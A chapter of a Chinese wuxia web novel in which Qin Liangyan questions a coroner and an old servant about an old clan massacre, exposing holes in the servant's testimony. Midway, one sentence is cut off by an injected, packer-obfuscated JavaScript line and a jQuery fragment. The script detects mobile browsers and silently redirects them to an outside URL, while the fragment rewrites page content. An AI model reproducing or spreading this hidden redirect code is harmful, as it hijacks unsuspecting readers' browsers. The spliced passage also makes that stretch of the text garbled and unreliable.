廊下两个停云山弟子刚换过一轮,衣摆上沾着晨露。秦梁燕推门出来时,两人同时看过来,手都往剑柄上碰了一下,又都忍住。
乌衡等在院中,眼下有一点青。
“宗平昨夜无异。”他道,“子时后,宗溯去过。”
秦梁燕脚步一顿。
“他进去了?”
“没有。守门弟子不许。他在门外问,宗平从前是否叫过他的乳名。”
秦梁燕理了理袖口:“宗平怎么答?”
“没答。宋鹤之的人拦着,说夜深了,证人受惊,不便再问。”
秦梁燕笑了一下。
“这倒方便。”
她昨夜让宗溯自己去问,没想到他真去了。可去了又怎样。栖霞台上的门,从来不是谁想推便能推开的。
乌衡道:“少主今日还问沈寒槐?”
“问。”秦梁燕拿起红缨枪,“在台上问。”
乌衡微怔。
秦梁燕道:“昨夜是我们自己看的。今日要让他们都听见。”
她说完便往院外走。
停云山弟子拦也不是,不拦也不是,只能跟在后头。她走得不快,枪斜斜搭在肩后。
今日栖霞台上人来得比昨日还早。
秦吞舟已经下山,沉灯坞席位空了一半,只剩乌衡和两名刑堂弟子站在秦梁燕身后。正道诸门看她的目光比昨日更直,像秦吞舟那柄刀一离开台面,胆子都大了一些。
可也只是大了一些。
没人敢上前。
祝观澜站在主位旁,仍是一身浅青衣。宋鹤之立在他身侧,照微寺方丈坐在右边,指间佛珠缓缓拨动。
宗溯站在方丈下首。
他换了素白衣袍,外面罩着深色披风,脸色比昨夜还差。秦梁燕看过去时,他也正好抬眼。
两人目光撞上。
秦梁燕很快移开。
祝观澜缓声道:“昨日秦坞主亲口承认,二十年前入宗宅,杀宗长明。宗氏旧案沉积多年,今日便将当年证物、供词重新核验。”
秦梁燕忽然开口:“先问沈寒槐。”
台上静了一瞬。
宋鹤之看向她:“秦少主,今日议程自有安排。”
“安排?”秦梁燕抬眼,“昨夜你让我看证物的时候,可没说验尸记录要排到后头。”
台下立刻起了低声议论。
宋鹤之神色微沉:“秦少主既已看过,就该知道,宗长明死于秦吞舟刀下,这一点没有可疑。”
秦梁燕点头。
“我知道。”
众人似乎没想到她应得这样快。
她继续道:“我爹杀宗长明,这一笔在。可你们昨日说的是宗氏满门一百三十七口皆死于沉灯坞。既然说到满门,就不能只念宗长明一个人的伤。”
她转头看向祝观澜。
“祝盟主,你们既然要重开旧案,不如先让死人说话。”
祝观澜看了她片刻,竟点了头。
“请沈先生。”
沈寒槐被洛水门弟子扶上台。
他穿一件洗旧的蓝灰衣,脊背仍直。坐下时先咳了两声,才看向案上那卷验尸记录。
“诸位要问尸骨?”
祝观澜道:“劳烦沈先生,将当年所验尸伤,再说一遍。”
沈寒槐沉默片刻。
“宗长明死于刀伤。胸腹三处,致命处在左肋下,入心。刀口宽,力重,刃薄。那样的刀,江湖上不多。”
他说到这里,目光落在秦梁燕身上。
“秦吞舟的刀,是其中之一。”
宗溯却在听见这一句时,手指一点点收紧。那是他父亲的死,今日从验尸人口中重说,仍像一柄迟到二十年的刀,又落回他心口。
沈寒槐继续道:“宗夫人阮氏,喉间剑伤。宗氏幼子,死于烟火窒息,身上无刀剑伤。宗家门客,有短刃伤,有钝器伤。侍女多死于火中。掌事宗启,胸前掌伤,肋骨断裂。”
他声音不高,却一句一句清楚。
“死法不一。”
四个字落下,台上风声都像静了一瞬。
有人立刻道:“沉灯坞又不是只有秦吞舟一人,会剑会掌的人也有。”
沈寒槐点头:“不错。”
那人一噎。
沈寒槐道:“所以老夫只说死法不一,不说凶手是谁。沉灯坞可以有剑,可以有掌,正道诸门也有剑,也有掌。尸骨能说人怎么死,不能替活人把凶手写好。”
宋鹤之道:“沈先生,当年宗宅火起前后,确有沉灯坞人入内,这一点也有多人证言。”
沈寒槐道:“老夫只验尸,不验人心。”
祝观澜看向秦梁燕:“秦少主,沈先生所言,并不能说明沉灯坞无罪。”
秦梁燕道:“我没说沉灯坞无罪。”
她转身面向台下。
“沉灯坞若有人杀过,便算沉灯坞的账。我爹杀宗长明,便算我爹的账。可若有人拿我爹这一刀,把别人的剑、别人的掌、别人的火都盖住,我不认。”
台下静得厉害。
祝观澜道:“既如此,便请宗平。”
宗平被带上来时,腿还在抖。
他眼眶仍是红的。见到宗溯时,他身子明显缩了一下,又很快跪下去。
“少爷。”
秦梁燕看着宗平。
昨夜宗溯说过,宗平从未叫过他的乳名。
一个说自己从火场里抱出宗家少爷的老仆,二十年后见到他,只叫“少爷”。
太干净了。
干净得像背熟的话。
祝观澜道:“宗平,你昨日所言,今日再说一遍。”
宗平伏在地上,颤声道:“那夜火大,沉灯坞的人冲进宗宅,见人便杀。老奴护着少爷,从后门逃出来。后来遇见正道诸位,才保住少爷一命。”
这话比昨日更短,也更稳。
秦梁燕道:“你说你从后门逃出?”
宗平急忙低头:“是。”
“昨日你说前后门都被堵住。”
宗平一僵。
宋鹤之道:“秦少主,火场混乱,老人记错一两处,并不奇怪。”
秦梁燕看向他:“我问宗平,宋公子为何总替他答?”
宋鹤之脸色一沉。
秦梁燕重新看向宗平:“你自己说。后门到底堵没堵?”
宗平张着嘴,半晌才道:“起初没堵,后来火大,便堵了。”
“你从后门出去时,身上有没有烧伤?”
宗平额角冒出汗:“有……有些烟熏。”
“烧伤。”秦梁燕盯着他,“我问的是烧伤。”
宗平手指蜷紧:“老奴抱着少爷跑得快,并未伤得太重。”
秦梁燕问沈寒槐:“沈先生当年见过宗平吗?”
沈寒槐看了宗平一眼,道:“见过。”
“他身上有火场灼伤吗?”
宗平猛地抬头。
沈寒槐道:“老夫当年只粗略看过。他衣上有烟灰,手背有擦伤,未见明显灼伤。”
台下议论声起。
宗平颤声道:“老奴命大。”
秦梁燕道:“你命很大。宗宅那么大的火,你抱着孩子出来,孩子高热不醒,你却只擦破了手。”
祝观澜终于开口:“秦少主,宗平当年确将宗公子送出火场。此事另有诸门见证。”
秦梁燕看向宗溯。
“你问。”
宗溯一怔。
满台目光也随之落到他身上。
秦梁燕没有替他挡,也没有替他说。她只是看着他,语气平静。
“你若要查,就自己问。”
宗溯慢慢走上前。
方丈指间佛珠停了一瞬。
宗溯没有回头。
他站在宗平面前,低头看着这个自称救了他的人。
“你抱我出来时,我多大?”
宗平一愣:“少爷那时……五六岁。”
宗溯道:“我醒着吗?”
“少爷昏着。”
“我身上有什么?”
宗平脸色发白:“有血,有灰,还有……”
“还有什么?”
宗平说不出来。
宗溯看着他,声音很低:“我手里有没有东西?”
宗平的唇抖了一下。
“火太大,老奴记不清了。”
宗溯没有继续逼他。
可这句话一出,台上已经有人听出不对。
秦梁燕忽然道:“那你叫他什么?”
宗平愣住。
“少爷。”
“那时候也叫少爷?”
宗平点头:“自然。”
秦梁燕道:“他没有小名?”
宗平脸色更白。
“老奴……老奴只是下人,不敢叫少爷小名。”
秦梁燕笑了笑:“你倒规矩。”
宗溯闭了闭眼。
他不知道自己小时候有没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524197|203213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有小名。
可这一刻,他忽然很想知道。
方丈终于开口:“宗平年老,又隔二十年,秦少主不必步步相逼。宗氏旧案不该因这些细枝末节而偏离正题。”
秦梁燕看向方丈。
“小名是细枝末节?”
方丈道:“宗公子身负血仇,姓名如何,并不影响秦吞舟杀宗长明之实。”
秦梁燕低声笑了一下。
“又来了。”
她道:“只要提到别的死人,便说秦吞舟杀宗长明。只要问到宗平前后不一,便说秦吞舟杀宗长明。只要问宗溯小时候叫什么,还是秦吞舟杀宗长明。”
她看向宗溯。
“你们真喜欢用他爹的命,把他整个人堵住。”
宗溯心口一震。
方丈脸色终于变了些。
祝观澜道:“秦少主,慎言。”
秦梁燕转头:“我很慎了。”
台下有年轻弟子低声骂了一句:“魔教妖女,强词夺理。”
声音不大,却还是被秦梁燕听见了。
秦梁燕转头看向那人。
“你上来。”
那弟子脸色一白。
秦梁燕提着枪,指了指脚下青砖。
“上来,当着我的面说。”
那人不敢动。
秦梁燕笑了一声:“不敢说,就小声些。别让我听见。”
台上静得能听见风声。
她没有拔枪,也没有上前,却偏偏让那名弟子后退了半步。
宋鹤之皱眉:“秦少主,这里不是沉灯坞。”
秦梁燕道:“我知道。沉灯坞的人骂人敢站出来。”
祝观澜看着她,眼中那点温和像隔了一层薄冰。
秦梁燕今日没有闹。
可她每一句都在拆。
祝观澜缓缓道:“今日所问,诸门已经听见。后续自会核验。秦少主既想查,栖霞台也不会阻拦。但旧案牵涉深重,还望秦少主不要越过章程。”
秦梁燕道:“章程是谁定的?”
祝观澜温声道:“武林大会在此,自有诸门公议。”
秦梁燕道:“那我就等着看,诸门公议能议出几个死人不同的死法。”
她说完,提枪转身下台。
乌衡跟上。
走到台阶边时,宗溯也从另一侧下来。两人隔着几步,并行了一小段。
直到拐入侧廊,台上人声被抛在身后,秦梁燕才开口:“你方才问得不错。”
宗溯停了一下。
秦梁燕没有看他,只继续往前走。
“比夜里往我屋里递消息有用。”
宗溯低声道:“宗平在说谎。”
秦梁燕道:“一半。”
宗溯看她。
“全假反而好查。”秦梁燕道,“他怕是真的见过你,也见过抱你出来的人。可他口中那套宗家老仆从火里救少爷的话,是别人给的。”
宗溯垂眼:“我会问他。”
秦梁燕道:“最好是你自己问。”
她往前走了两步,忽然又停下。
宗溯肩头的白布不知什么时候渗了血。
秦梁燕皱眉:“你伤口裂了。”
宗溯低头看去:“不碍事。”
秦梁燕看着他。
宗溯停了停,改口:“疼。但能走。”
秦梁燕从袖中摸出一只小瓷瓶,丢给他。
宗溯接住。
瓶身还带着她掌心的温度。
秦梁燕道:“别想多。你若晕在这里,明日他们又要说我沉灯坞暗害宗氏遗孤。”
宗溯低声道:“多谢。”
“别谢。药钱记着。”
宗溯轻轻嗯了一声。
这声太轻,倒像从前那个小和尚。
秦梁燕心口又被什么扎了一下,立刻转身。
“我去洛水门。”
宗溯抬头:“现在?”
“现在。”
“我也去。”
秦梁燕回头看他:“走慢了我不等你。”
宗溯道:“好。”
两人刚走出侧廊,洛水门方向忽然传来急促脚步声。
一个弟子奔到廊前,脸色发白。
“沈先生请二位即刻过去。”
秦梁燕皱眉:“出什么事了?”
那弟子抬头看了宗溯一眼,声音低下去。
“他说,宗公子手里那块木牌,昨夜有人来问过。”